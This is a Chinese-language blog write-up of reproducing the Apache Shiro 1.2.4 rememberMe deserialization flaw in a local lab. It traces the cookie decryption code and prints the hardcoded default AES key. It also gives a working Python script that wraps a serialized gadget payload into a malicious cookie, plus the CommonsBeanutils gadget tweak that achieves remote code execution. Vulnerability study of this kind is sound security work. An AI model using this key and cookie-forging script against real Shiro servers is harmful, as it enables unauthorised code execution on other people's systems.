Shiro反序列化

环境搭建

我用的jdk版本是8u65

1、下载shiro1.2.4:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

2、IDEA打开shiro-root-1.2.4修改shiro-root-1.2.4/samples/web/pom.xml中的jstl的依赖版本为1.2,没有就自己加一个

3、下载pom.xml源代码

4、配置Tomacat服务器

5、启动shiro-root-1.2.4/samples/web/src/main/webapp/index.jsp

登录

为了方便后面调试,先以调试模式运行项目。来到login.jsp


记得勾上Remember Me

抓一下登录的包

这个cookie看着很长,并且之后每次请求的时候都会带上这个cookie,说明其中一定存放了什么信息

接下来就来研究一下这个cookie到底存了什么

探索cookie

回到源码中找到与cookie有关的代码(这里的快捷键是两下shift)

这里找到了CookieRememberMeManager,看这个名字就可以知道,这个类处理remember me的功能

可以看到这里有序列化反序列化的过程

可以看出,最终的cookie是base64编码的,继续往上找谁调用了这个函数

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {  
  
    if (!WebUtils.isHttp(subjectContext)) {  
        if (log.isDebugEnabled()) {  
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +  
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +  
                    "immediately and ignoring rememberMe operation.";  
            log.debug(msg);  
        }  
        return null;  
    }  
  
    WebSubjectContext wsc = (WebSubjectContext) subjectContext;  
    if (isIdentityRemoved(wsc)) {  
        return null;  
    }  
  
    HttpServletRequest request = WebUtils.getHttpRequest(wsc);  
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);  
  
    String base64 = getCookie().readValue(request, response);  
    // Browsers do not always remove cookies immediately (SHIRO-183)  
    // ignore cookies that are scheduled for removal    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;  
  
    if (base64 != null) {  
        base64 = ensurePadding(base64);  
        if (log.isTraceEnabled()) {  
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");  
        }  
        byte[] decoded = Base64.decode(base64);  
        if (log.isTraceEnabled()) {  
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");  
        }  
        return decoded;  
    } else {  
        //no cookie set - new site visitor?  
        return null;  
    }  
}

找到了getRememberedPrincipals这个函数,其中调用了convertBytesToPrincipals

继续跟进,这个函数先解密,然后反序列化

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {  
    if (getCipherService() != null) {  
        bytes = decrypt(bytes);  
    }  
    return deserialize(bytes);  
}

先总结一下,cookie中存放的是加密并base64编码后的序列化数据,每次访问时,服务器收到cookie都会解密并反序列化。

接下来看反序列化的实现,实际就是调用了原生的反序列化,有CC的依赖就可以打反序列化漏洞了

public T deserialize(byte[] serialized) throws SerializationException {  
    if (serialized == null) {  
        String msg = "argument cannot be null.";  
        throw new IllegalArgumentException(msg);  
    }  
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);  
    BufferedInputStream bis = new BufferedInputStream(bais);  
    try {  
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);  
        @SuppressWarnings({"unchecked"})  
        T deserialized = (T) ois.readObject();  
        ois.close();  
        return deserialized;  
    } catch (Exception e) {  
        String msg = "Unable to deserialze argument byte array.";  
        throw new SerializationException(msg, e);  
    }  
}

解密的实现,先获取了密钥,然后用cipherService.decrypt解密

protected byte[] decrypt(byte[] encrypted) {  
    byte[] serialized = encrypted;  
    CipherService cipherService = getCipherService();  
    if (cipherService != null) {  
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());  
        serialized = byteSource.getBytes();  
    }  
    return serialized;  
}

这里的decrypt是一个接口,第三个参数是key,只有一个key可以推测是对称加密。这时候就想知道key到底是什么

void decrypt(InputStream in, OutputStream out, byte[] decryptionKey) throws CryptoException;

key是通过这个函数获取的

public byte[] getDecryptionCipherKey() {  
    return decryptionCipherKey;  
}

跟进去发现是一个常量

private byte[] decryptionCipherKey;

是通过setDecryptionCipherKey赋值的

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {  
    this.decryptionCipherKey = decryptionCipherKey;  
}

继续往上找

public void setCipherKey(byte[] cipherKey) {  
    //Since this method should only be used in symmetric ciphers  
    //(where the enc and dec keys are the same), set it on both:      
    setEncryptionCipherKey(cipherKey);  
    setDecryptionCipherKey(cipherKey);  
}

最终找到了这里,key居然是一个常量

public AbstractRememberMeManager() {  
    this.serializer = new DefaultSerializer<PrincipalCollection>();  
    this.cipherService = new AesCipherService();  
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

理清了基本流程后,在解密的地方打个断点调试一下。

这里可以看到加密算法是AES,用的是CBC模式

整个过程就是:读取cookie中rememberMe值->base64解码->AES解密->反序列化
只要获取到密钥,就可以进行反序列化操作。

已经拿到了AES密钥,就可以构造恶意命令了。

这里可以用CB链构造,虽然依赖中有CC链,但都是在test中使用的,项目的依赖中没有CC

CB链

具体链子详见上一篇文章

加密脚本

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-ord(s[-1:])]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

发送

但是没有反应,日志显示找不到org.apache.commons.collections.comparators.ComparableComparator,但是我明明没用到CC的依赖,为什么会找不到CC呢?


实际上,在BeanComparator中传了了ComparableComparator,这是CC里面的

public BeanComparator( String property ) {  
    this( property, ComparableComparator.getInstance() );  
}

可以用另一个构造函数替代

public BeanComparator( String property, Comparator comparator ) {  
    setProperty( property );  
    if (comparator != null) {  
        this.comparator = comparator;  
    } else {  
        this.comparator = ComparableComparator.getInstance();  
    }  
}

所以要找一个实现了Serializable和Comparator接口的类

这里可以用AttrCompare

CB链代码

只需要改这一句

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

加密,编码

成功rce

参考

Shiro反序列化 - Infernity's Blog

https://www.bilibili.com/video/BV1uf4y1T7Rq

posted @ 2026-02-14 20:50  leee0  阅读(7)  评论(0)    收藏  举报